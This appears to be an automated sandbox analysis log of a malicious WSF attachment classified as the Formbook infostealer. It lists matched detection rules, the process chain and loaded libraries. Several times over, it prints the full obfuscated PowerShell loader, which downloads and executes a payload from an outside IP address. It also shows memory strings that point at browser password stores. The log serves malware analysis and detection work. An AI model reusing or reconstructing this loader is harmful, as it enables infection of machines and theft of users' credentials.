Source: 0000000B.00000002.3228055880.00000000026B0000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: 00000009.00000002.2685647197.0000000002E40000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: Process Memory Space: powershell.exe PID: 2568, type: MEMORYSTR Matched rule: INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC author = ditekSHen, description = Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution
Source: Process Memory Space: powershell.exe PID: 4320, type: MEMORYSTR Matched rule: INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC author = ditekSHen, description = Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution
Source: classification engine Classification label: mal100.troj.spyw.expl.evad.winWSF@21/8@4/3
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe File created: C:\Users\user\AppData\Roaming\Ballepresseres.Ine Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Mutant created: NULL
Source: C:\Windows\System32\conhost.exe Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:3568:120:WilError_03
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe File created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_s40pbzt4.vzk.ps1 Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe WMI Queries: IWbemServices::ExecQuery - root\cimv2 : select * from win32_process where ProcessId=2568
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe WMI Queries: IWbemServices::ExecQuery - root\cimv2 : select * from win32_process where ProcessId=4320
Source: C:\Windows\System32\wscript.exe File read: C:\Users\user\Desktop\desktop.ini Jump to behavior
Source: C:\Windows\System32\wscript.exe Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers Jump to behavior
Source: unknown Process created: C:\Windows\System32\rundll32.exe C:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding
Source: AtBroker.exe, 0000000C.00000002.3227176757.0000000002D36000.00000004.00000020.00020000.00000000.sdmp, AtBroker.exe, 0000000C.00000002.3227176757.0000000002D32000.00000004.00000020.00020000.00000000.sdmp, AtBroker.exe, 0000000C.00000002.3227176757.0000000002D45000.00000004.00000020.00020000.00000000.sdmp, AtBroker.exe, 0000000C.00000002.3227176757.0000000002D3F000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));
Source: Ordine_doc_419024001904.wsf ReversingLabs: Detection: 41%
Source: Ordine_doc_419024001904.wsf Virustotal: Detection: 42%
Source: unknown Process created: C:\Windows\System32\wscript.exe C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\Ordine_doc_419024001904.wsf"
Source: C:\Windows\System32\wscript.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "$Offence = 1;$Rabbitriesnterimsstyre='Substrin';$Rabbitriesnterimsstyre+='g';Function adskilligt($Tegnedatabasen){$Bejig=$Tegnedatabasen.Length-$Offence;For($Rabbitries=1; $Rabbitries -lt $Bejig; $Rabbitries+=(2)){$Foundlings+=$Tegnedatabasen.$Rabbitriesnterimsstyre.Invoke($Rabbitries, $Offence);}$Foundlings;}function Apalachicola($Specieskbenes){&($milleardtedele) ($Specieskbenes);}$Folkedemokrati=adskilligt 'IMHoAzAi.l l,aO/ 5 .T0W S(,W,iUn,dgoBw,sH SNDTe .1H0P.G0,; RWPi nN6R4 ;N xM6T4K;, CrUv :R1M2G1 . 0C) BGVe,cEkBo,/,2 0,1,0 0E1L0 1, LFUiTr.enfko,xs/ 1A2U1Y.,0L ';$Godsterminalers=adskilligt 'hUPsMe rT-.AAgUe,n tG ';$Discredit=adskilligt 'Ghtt tJp :M/,/.8,7F. 1.2,1..U1 0 5S.M1A6P3C/ AKc a riiFa,t,r eA4S3,. cbhBm ';$Trlbundnes=adskilligt ' >M ';$milleardtedele=adskilligt 'TiUe.x ';$Phillipeener = adskilligt ' eScSh oS R%HaUp pEd ast aL%,\ B.aBl lHe pNrAeUsFs e r.e.s,. IfnNe K&E&M We.cAhSok .$ ';Apalachicola (adskilligt ' $MgRlFoUb aKl :MGMeBrCmKiEf.uUgBe.= (,cTmHdV /HcE .$UP hTiUl.lPiUpPe eSn.eDrA), ');Apalachicola (adskilligt 's$,g l,o b aKlv:IBAaFrFrFa m uTnMdpaZsP= $ D i sNcUr eVd iFtS.TsLpSlDiTtU( $,T.r lFb,uEn dQn eNs )S ');$Discredit=$Barramundas[0];Apalachicola (adskilligt 'p$ gEl.oKbTaNlF: o,vUerr gBe nKe.r a.l i z iUnRg =,N,eSw -.O b jTe cUtP .SFyus.tBevmD. N eEtG.sWBeFbOC.lKi eSnFt ');Apalachicola (adskilligt 'W$ o.v e.rLgMeMn.eUrJaGlDiPz iPn gP. H eNaGdAe,rDsA[ $PGEo d sPtAe.r,mBiMnUa lje,r sA]T=U$.F o.l kSeRd e,mGoOkFrPa tPi ');$Lordlily=adskilligt 'DoRv eArHgueRn.eSrKaSl iDzPiGn g .,DSoTwFn,l.oBaRd F iSlHeP( $ D i,sBc rSe.dHittK,I$,O z,oPn.iTc,), ';$Lordlily=$Germifuge[1]+$Lordlily;$Ozonic=$Germifuge[0];Apalachicola (adskilligt 'n$,g.l oSb a.la:Rf,eTrKsTk vLa n d,e n,eB=C(,T eVsSt -WPEa tIh $MO z,oEn,iWc ) ');while (!$ferskvandene) {Apalachicola (adskilligt ' $ g lVo bOaHl :FcRoum.p l e,m e,nAt eIr.= $ tJr u eB ') ;Apalachicola $Lordlily;Apalachicola (adskilligt ' S.t a,rRtM- SDlLeNe.p 4T ');Apalachicola (adskilligt ' $Fg l,o b a l :Ff,e r sTkAv a nOd.eTn e,= (TTSe.s t -LPTaLtHh C$SO zBo.nIiOcA) ') ;Apalachicola (adskilligt 'U$ g l o bHaKl : E n eMr,vSeTrTeS=R$BgSl oBb.a.lH:FT eOr m o m eMtEr.e.n.eF+,+ % $ BPa r r a m uBnAdNa s .ScKoBuCn ts ') ;$Discredit=$Barramundas[$Enervere];}Apalachicola (adskilligt 'u$SgOlWo,bCaNl : FTiTrTeFlTo c kLs ,=. UG eTtT-OC,o nRtle,nAt $FO,z o.nEiIcA ');Apalachicola (adskilligt ',$Cg l oAbpaClP: LHiPt tPe rHa t uMrIl i.s t e nE1U4N M=D [.S.y.s.tKe mr.,CIo,nTv e r,t,]F:D: F rAo.m.B a.sSeB6T4,SEt rSiSn g,( $MF iGrRePlio cSk sM)N ');Apalachicola (adskilligt 'G$Jg,lLoGbDaTl :sV eEr b iBg eVr a tHi n.gB B=A [RSWyEs.t e,ms. TLefx tC. EKn cNoOdEitnMg ],:K:KA SPC IUIT. G,eCt S tNrmi nPg (U$ LAiGtEt e rvaEt uMrRl i.sTt e ne1B4.)S ');Apalachicola (adskilligt 'N$.g.lMoVboaSl.: Kta r r i e r e.r nDeS1 5 8S= $OV eRrPbAi g e,r aQt,i,nHgN. sBuRb sHtMr iPnRgL( 3 3B6T3 9 4,,.2B5
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process created: C:\Windows\System32\cmd.exe "C:\Windows\system32\cmd.exe" /c "echo %appdata%\Ballepresseres.Ine && echo $"
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe" "$Offence = 1;$Rabbitriesnterimsstyre='Substrin';$Rabbitriesnterimsstyre+='g';Function adskilligt($Tegnedatabasen){$Bejig=$Tegnedatabasen.Length-$Offence;For($Rabbitries=1; $Rabbitries -lt $Bejig; $Rabbitries+=(2)){$Foundlings+=$Tegnedatabasen.$Rabbitriesnterimsstyre.Invoke($Rabbitries, $Offence);}$Foundlings;}function Apalachicola($Specieskbenes){&($milleardtedele) ($Specieskbenes);}$Folkedemokrati=adskilligt 'IMHoAzAi.l l,aO/ 5 .T0W S(,W,iUn,dgoBw,sH SNDTe .1H0P.G0,; RWPi nN6R4 ;N xM6T4K;, CrUv :R1M2G1 . 0C) BGVe,cEkBo,/,2 0,1,0 0E1L0 1, LFUiTr.enfko,xs/ 1A2U1Y.,0L ';$Godsterminalers=adskilligt 'hUPsMe rT-.AAgUe,n tG ';$Discredit=adskilligt 'Ghtt tJp :M/,/.8,7F. 1.2,1..U1 0 5S.M1A6P3C/ AKc a riiFa,t,r eA4S3,. cbhBm ';$Trlbundnes=adskilligt ' >M ';$milleardtedele=adskilligt 'TiUe.x ';$Phillipeener = adskilligt ' eScSh oS R%HaUp pEd ast aL%,\ B.aBl lHe pNrAeUsFs e r.e.s,. IfnNe K&E&M We.cAhSok .$ ';Apalachicola (adskilligt ' $MgRlFoUb aKl :MGMeBrCmKiEf.uUgBe.= (,cTmHdV /HcE .$UP hTiUl.lPiUpPe eSn.eDrA), ');Apalachicola (adskilligt 's$,g l,o b aKlv:IBAaFrFrFa m uTnMdpaZsP= $ D i sNcUr eVd iFtS.TsLpSlDiTtU( $,T.r lFb,uEn dQn eNs )S ');$Discredit=$Barramundas[0];Apalachicola (adskilligt 'p$ gEl.oKbTaNlF: o,vUerr gBe nKe.r a.l i z iUnRg =,N,eSw -.O b jTe cUtP .SFyus.tBevmD. N eEtG.sWBeFbOC.lKi eSnFt ');Apalachicola (adskilligt 'W$ o.v e.rLgMeMn.eUrJaGlDiPz iPn gP. H eNaGdAe,rDsA[ $PGEo d sPtAe.r,mBiMnUa lje,r sA]T=U$.F o.l kSeRd e,mGoOkFrPa tPi ');$Lordlily=adskilligt 'DoRv eArHgueRn.eSrKaSl iDzPiGn g .,DSoTwFn,l.oBaRd F iSlHeP( $ D i,sBc rSe.dHittK,I$,O z,oPn.iTc,), ';$Lordlily=$Germifuge[1]+$Lordlily;$Ozonic=$Germifuge[0];Apalachicola (adskilligt 'n$,g.l oSb a.la:Rf,eTrKsTk vLa n d,e n,eB=C(,T eVsSt -WPEa tIh $MO z,oEn,iWc ) ');while (!$ferskvandene) {Apalachicola (adskilligt ' $ g lVo bOaHl :FcRoum.p l e,m e,nAt eIr.= $ tJr u eB ') ;Apalachicola $Lordlily;Apalachicola (adskilligt ' S.t a,rRtM- SDlLeNe.p 4T ');Apalachicola (adskilligt ' $Fg l,o b a l :Ff,e r sTkAv a nOd.eTn e,= (TTSe.s t -LPTaLtHh C$SO zBo.nIiOcA) ') ;Apalachicola (adskilligt 'U$ g l o bHaKl : E n eMr,vSeTrTeS=R$BgSl oBb.a.lH:FT eOr m o m eMtEr.e.n.eF+,+ % $ BPa r r a m uBnAdNa s .ScKoBuCn ts ') ;$Discredit=$Barramundas[$Enervere];}Apalachicola (adskilligt 'u$SgOlWo,bCaNl : FTiTrTeFlTo c kLs ,=. UG eTtT-OC,o nRtle,nAt $FO,z o.nEiIcA ');Apalachicola (adskilligt ',$Cg l oAbpaClP: LHiPt tPe rHa t uMrIl i.s t e nE1U4N M=D [.S.y.s.tKe mr.,CIo,nTv e r,t,]F:D: F rAo.m.B a.sSeB6T4,SEt rSiSn g,( $MF iGrRePlio cSk sM)N ');Apalachicola (adskilligt 'G$Jg,lLoGbDaTl :sV eEr b iBg eVr a tHi n.gB B=A [RSWyEs.t e,ms. TLefx tC. EKn cNoOdEitnMg ],:K:KA SPC IUIT. G,eCt S tNrmi nPg (U$ LAiGtEt e rvaEt uMrRl i.sTt e ne1B4.)S ');Apalachicola (adskilligt 'N$.g.lMoVboaSl.: Kta r r i e r e.r nDeS1 5 8S= $OV eRrPbAi g e,r aQt,i,nHgN. sBuRb sHtMr iPnRgL( 3 3B6T3 9 4,,.2B5
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c "echo %appdata%\Ballepresseres.Ine && echo $"
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process created: C:\Program Files (x86)\Windows Mail\wab.exe "C:\Program Files (x86)\windows mail\wab.exe"
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process created: C:\Program Files (x86)\Windows Mail\wab.exe "C:\Program Files (x86)\windows mail\wab.exe"
Source: C:\Program Files (x86)\NUuNNtrNamWTxkqzzGqVNSTAqlxtUxNEqmhzWeZQfrPwVAb\VkpUSAfAICCLXDmxnjqGHDByu.exe Process created: C:\Windows\SysWOW64\AtBroker.exe "C:\Windows\SysWOW64\AtBroker.exe"
Source: unknown Process created: C:\Program Files (x86)\Windows Mail\wab.exe "C:\Program Files (x86)\windows mail\wab.exe"
Source: unknown Process created: C:\Windows\System32\rundll32.exe C:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding
Source: unknown Process created: C:\Program Files (x86)\Windows Mail\wab.exe "C:\Program Files (x86)\windows mail\wab.exe"
Source: C:\Windows\SysWOW64\AtBroker.exe Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\Firefox.exe"
Source: C:\Windows\System32\wscript.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "$Offence = 1;$Rabbitriesnterimsstyre='Substrin';$Rabbitriesnterimsstyre+='g';Function adskilligt($Tegnedatabasen){$Bejig=$Tegnedatabasen.Length-$Offence;For($Rabbitries=1; $Rabbitries -lt $Bejig; $Rabbitries+=(2)){$Foundlings+=$Tegnedatabasen.$Rabbitriesnterimsstyre.Invoke($Rabbitries, $Offence);}$Foundlings;}function Apalachicola($Specieskbenes){&($milleardtedele) ($Specieskbenes);}$Folkedemokrati=adskilligt 'IMHoAzAi.l l,aO/ 5 .T0W S(,W,iUn,dgoBw,sH SNDTe .1H0P.G0,; RWPi nN6R4 ;N xM6T4K;, CrUv :R1M2G1 . 0C) BGVe,cEkBo,/,2 0,1,0 0E1L0 1, LFUiTr.enfko,xs/ 1A2U1Y.,0L ';$Godsterminalers=adskilligt 'hUPsMe rT-.AAgUe,n tG ';$Discredit=adskilligt 'Ghtt tJp :M/,/.8,7F. 1.2,1..U1 0 5S.M1A6P3C/ AKc a riiFa,t,r eA4S3,. cbhBm ';$Trlbundnes=adskilligt ' >M ';$milleardtedele=adskilligt 'TiUe.x ';$Phillipeener = adskilligt ' eScSh oS R%HaUp pEd ast aL%,\ B.aBl lHe pNrAeUsFs e r.e.s,. IfnNe K&E&M We.cAhSok .$ ';Apalachicola (adskilligt ' $MgRlFoUb aKl :MGMeBrCmKiEf.uUgBe.= (,cTmHdV /HcE .$UP hTiUl.lPiUpPe eSn.eDrA), ');Apalachicola (adskilligt 's$,g l,o b aKlv:IBAaFrFrFa m uTnMdpaZsP= $ D i sNcUr eVd iFtS.TsLpSlDiTtU( $,T.r lFb,uEn dQn eNs )S ');$Discredit=$Barramundas[0];Apalachicola (adskilligt 'p$ gEl.oKbTaNlF: o,vUerr gBe nKe.r a.l i z iUnRg =,N,eSw -.O b jTe cUtP .SFyus.tBevmD. N eEtG.sWBeFbOC.lKi eSnFt ');Apalachicola (adskilligt 'W$ o.v e.rLgMeMn.eUrJaGlDiPz iPn gP. H eNaGdAe,rDsA[ $PGEo d sPtAe.r,mBiMnUa lje,r sA]T=U$.F o.l kSeRd e,mGoOkFrPa tPi ');$Lordlily=adskilligt 'DoRv eArHgueRn.eSrKaSl iDzPiGn g .,DSoTwFn,l.oBaRd F iSlHeP( $ D i,sBc rSe.dHittK,I$,O z,oPn.iTc,), ';$Lordlily=$Germifuge[1]+$Lordlily;$Ozonic=$Germifuge[0];Apalachicola (adskilligt 'n$,g.l oSb a.la:Rf,eTrKsTk vLa n d,e n,eB=C(,T eVsSt -WPEa tIh $MO z,oEn,iWc ) ');while (!$ferskvandene) {Apalachicola (adskilligt ' $ g lVo bOaHl :FcRoum.p l e,m e,nAt eIr.= $ tJr u eB ') ;Apalachicola $Lordlily;Apalachicola (adskilligt ' S.t a,rRtM- SDlLeNe.p 4T ');Apalachicola (adskilligt ' $Fg l,o b a l :Ff,e r sTkAv a nOd.eTn e,= (TTSe.s t -LPTaLtHh C$SO zBo.nIiOcA) ') ;Apalachicola (adskilligt 'U$ g l o bHaKl : E n eMr,vSeTrTeS=R$BgSl oBb.a.lH:FT eOr m o m eMtEr.e.n.eF+,+ % $ BPa r r a m uBnAdNa s .ScKoBuCn ts ') ;$Discredit=$Barramundas[$Enervere];}Apalachicola (adskilligt 'u$SgOlWo,bCaNl : FTiTrTeFlTo c kLs ,=. UG eTtT-OC,o nRtle,nAt $FO,z o.nEiIcA ');Apalachicola (adskilligt ',$Cg l oAbpaClP: LHiPt tPe rHa t uMrIl i.s t e nE1U4N M=D [.S.y.s.tKe mr.,CIo,nTv e r,t,]F:D: F rAo.m.B a.sSeB6T4,SEt rSiSn g,( $MF iGrRePlio cSk sM)N ');Apalachicola (adskilligt 'G$Jg,lLoGbDaTl :sV eEr b iBg eVr a tHi n.gB B=A [RSWyEs.t e,ms. TLefx tC. EKn cNoOdEitnMg ],:K:KA SPC IUIT. G,eCt S tNrmi nPg (U$ LAiGtEt e rvaEt uMrRl i.sTt e ne1B4.)S ');Apalachicola (adskilligt 'N$.g.lMoVboaSl.: Kta r r i e r e.r nDeS1 5 8S= $OV eRrPbAi g e,r aQt,i,nHgN. sBuRb sHtMr iPnRgL( 3 3B6T3 9 4,,.2B5 Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process created: C:\Windows\System32\cmd.exe "C:\Windows\system32\cmd.exe" /c "echo %appdata%\Ballepresseres.Ine && echo $" Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe" "$Offence = 1;$Rabbitriesnterimsstyre='Substrin';$Rabbitriesnterimsstyre+='g';Function adskilligt($Tegnedatabasen){$Bejig=$Tegnedatabasen.Length-$Offence;For($Rabbitries=1; $Rabbitries -lt $Bejig; $Rabbitries+=(2)){$Foundlings+=$Tegnedatabasen.$Rabbitriesnterimsstyre.Invoke($Rabbitries, $Offence);}$Foundlings;}function Apalachicola($Specieskbenes){&($milleardtedele) ($Specieskbenes);}$Folkedemokrati=adskilligt 'IMHoAzAi.l l,aO/ 5 .T0W S(,W,iUn,dgoBw,sH SNDTe .1H0P.G0,; RWPi nN6R4 ;N xM6T4K;, CrUv :R1M2G1 . 0C) BGVe,cEkBo,/,2 0,1,0 0E1L0 1, LFUiTr.enfko,xs/ 1A2U1Y.,0L ';$Godsterminalers=adskilligt 'hUPsMe rT-.AAgUe,n tG ';$Discredit=adskilligt 'Ghtt tJp :M/,/.8,7F. 1.2,1..U1 0 5S.M1A6P3C/ AKc a riiFa,t,r eA4S3,. cbhBm ';$Trlbundnes=adskilligt ' >M ';$milleardtedele=adskilligt 'TiUe.x ';$Phillipeener = adskilligt ' eScSh oS R%HaUp pEd ast aL%,\ B.aBl lHe pNrAeUsFs e r.e.s,. IfnNe K&E&M We.cAhSok .$ ';Apalachicola (adskilligt ' $MgRlFoUb aKl :MGMeBrCmKiEf.uUgBe.= (,cTmHdV /HcE .$UP hTiUl.lPiUpPe eSn.eDrA), ');Apalachicola (adskilligt 's$,g l,o b aKlv:IBAaFrFrFa m uTnMdpaZsP= $ D i sNcUr eVd iFtS.TsLpSlDiTtU( $,T.r lFb,uEn dQn eNs )S ');$Discredit=$Barramundas[0];Apalachicola (adskilligt 'p$ gEl.oKbTaNlF: o,vUerr gBe nKe.r a.l i z iUnRg =,N,eSw -.O b jTe cUtP .SFyus.tBevmD. N eEtG.sWBeFbOC.lKi eSnFt ');Apalachicola (adskilligt 'W$ o.v e.rLgMeMn.eUrJaGlDiPz iPn gP. H eNaGdAe,rDsA[ $PGEo d sPtAe.r,mBiMnUa lje,r sA]T=U$.F o.l kSeRd e,mGoOkFrPa tPi ');$Lordlily=adskilligt 'DoRv eArHgueRn.eSrKaSl iDzPiGn g .,DSoTwFn,l.oBaRd F iSlHeP( $ D i,sBc rSe.dHittK,I$,O z,oPn.iTc,), ';$Lordlily=$Germifuge[1]+$Lordlily;$Ozonic=$Germifuge[0];Apalachicola (adskilligt 'n$,g.l oSb a.la:Rf,eTrKsTk vLa n d,e n,eB=C(,T eVsSt -WPEa tIh $MO z,oEn,iWc ) ');while (!$ferskvandene) {Apalachicola (adskilligt ' $ g lVo bOaHl :FcRoum.p l e,m e,nAt eIr.= $ tJr u eB ') ;Apalachicola $Lordlily;Apalachicola (adskilligt ' S.t a,rRtM- SDlLeNe.p 4T ');Apalachicola (adskilligt ' $Fg l,o b a l :Ff,e r sTkAv a nOd.eTn e,= (TTSe.s t -LPTaLtHh C$SO zBo.nIiOcA) ') ;Apalachicola (adskilligt 'U$ g l o bHaKl : E n eMr,vSeTrTeS=R$BgSl oBb.a.lH:FT eOr m o m eMtEr.e.n.eF+,+ % $ BPa r r a m uBnAdNa s .ScKoBuCn ts ') ;$Discredit=$Barramundas[$Enervere];}Apalachicola (adskilligt 'u$SgOlWo,bCaNl : FTiTrTeFlTo c kLs ,=. UG eTtT-OC,o nRtle,nAt $FO,z o.nEiIcA ');Apalachicola (adskilligt ',$Cg l oAbpaClP: LHiPt tPe rHa t uMrIl i.s t e nE1U4N M=D [.S.y.s.tKe mr.,CIo,nTv e r,t,]F:D: F rAo.m.B a.sSeB6T4,SEt rSiSn g,( $MF iGrRePlio cSk sM)N ');Apalachicola (adskilligt 'G$Jg,lLoGbDaTl :sV eEr b iBg eVr a tHi n.gB B=A [RSWyEs.t e,ms. TLefx tC. EKn cNoOdEitnMg ],:K:KA SPC IUIT. G,eCt S tNrmi nPg (U$ LAiGtEt e rvaEt uMrRl i.sTt e ne1B4.)S ');Apalachicola (adskilligt 'N$.g.lMoVboaSl.: Kta r r i e r e.r nDeS1 5 8S= $OV eRrPbAi g e,r aQt,i,nHgN. sBuRb sHtMr iPnRgL( 3 3B6T3 9 4,,.2B5 Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c "echo %appdata%\Ballepresseres.Ine && echo $" Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process created: C:\Program Files (x86)\Windows Mail\wab.exe "C:\Program Files (x86)\windows mail\wab.exe" Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process created: C:\Program Files (x86)\Windows Mail\wab.exe "C:\Program Files (x86)\windows mail\wab.exe" Jump to behavior
Source: C:\Program Files (x86)\NUuNNtrNamWTxkqzzGqVNSTAqlxtUxNEqmhzWeZQfrPwVAb\VkpUSAfAICCLXDmxnjqGHDByu.exe Process created: C:\Windows\SysWOW64\AtBroker.exe "C:\Windows\SysWOW64\AtBroker.exe" Jump to behavior
Source: C:\Windows\SysWOW64\AtBroker.exe Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\Firefox.exe" Jump to behavior
Source: C:\Windows\System32\wscript.exe Section loaded: version.dll Jump to behavior
Source: C:\Windows\System32\wscript.exe Section loaded: kernel.appcore.dll Jump to behavior
Source: C:\Windows\System32\wscript.exe Section loaded: uxtheme.dll Jump to behavior
Source: C:\Windows\System32\wscript.exe Section loaded: sxs.dll Jump to behavior
Source: C:\Windows\System32\wscript.exe Section loaded: urlmon.dll Jump to behavior
Source: C:\Windows\System32\wscript.exe Section loaded: iertutil.dll Jump to behavior
Source: C:\Windows\System32\wscript.exe Section loaded: srvcli.dll Jump to behavior
Source: C:\Windows\System32\wscript.exe Section loaded: netutils.dll Jump to behavior
Source: C:\Windows\System32\wscript.exe Section loaded: scrobj.dll Jump to behavior
Source: C:\Windows\System32\wscript.exe Section loaded: wldp.dll Jump to behavior
Source: C:\Windows\System32\wscript.exe Section loaded: msasn1.dll Jump to behavior
Source: C:\Windows\System32\wscript.exe Section loaded: cryptsp.dll Jump to behavior
Source: C:\Windows\System32\wscript.exe Section loaded: rsaenh.dll Jump to behavior
Source: C:\Windows\System32\wscript.exe Section loaded: cryptbase.dll Jump to behavior
Source: C:\Windows\System32\wscript.exe Section loaded: msisip.dll Jump to behavior
Source: C:\Windows\System32\wscript.exe Section loaded: wshext.dll Jump to behavior
Source: C:\Windows\System32\wscript.exe Section loaded: vbscript.dll Jump to behavior
Source: C:\Windows\System32\wscript.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Windows\System32\wscript.exe Section loaded: userenv.dll Jump to behavior
Source: C:\Windows\System32\wscript.exe Section loaded: profapi.dll Jump to behavior
Source: C:\Windows\System32\wscript.exe Section loaded: wbemcomn.dll Jump to behavior
Source: C:\Windows\System32\wscript.exe Section loaded: propsys.dll Jump to behavior
Source: C:\Windows\System32\wscript.exe Section loaded: windows.storage.dll Jump to behavior
Source: C:\Windows\System32\wscript.exe Section loaded: edputil.dll Jump to behavior
Source: C:\Windows\System32\wscript.exe Section loaded: windows.staterepositoryps.dll Jump to behavior
Source: C:\Windows\System32\wscript.exe Section loaded: sspicli.dll Jump to behavior
Source: C:\Windows\System32\wscript.exe Section loaded: wintypes.dll Jump to behavior
Source: C:\Windows\System32\wscript.exe Section loaded: appresolver.dll Jump to behavior
Source: C:\Windows\System32\wscript.exe Section loaded: bcp47langs.dll Jump to behavior
Source: C:\Windows\System32\wscript.exe Section loaded: slc.dll Jump to behavior
Source: C:\Windows\System32\wscript.exe Section loaded: sppc.dll Jump to behavior
Source: C:\Windows\System32\wscript.exe Section loaded: onecorecommonproxystub.dll Jump to behavior
Source: C:\Windows\System32\wscript.exe Section loaded: onecoreuapcommonproxystub.dll Jump to behavior
Source: C:\Windows\System32\wscript.exe Section loaded: pcacli.dll Jump to behavior
Source: C:\Windows\System32\wscript.exe Section loaded: mpr.dll Jump to behavior
Source: C:\Windows\System32\wscript.exe Section loaded: sfc_os.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: atl.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: mscoree.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: kernel.appcore.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: version.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: vcruntime140_clr0400.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: ucrtbase_clr0400.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: ucrtbase_clr0400.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: cryptsp.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: rsaenh.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: cryptbase.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: userenv.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: profapi.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: windows.storage.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: wldp.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: msasn1.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: gpapi.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: msisip.dll Jump to behavior
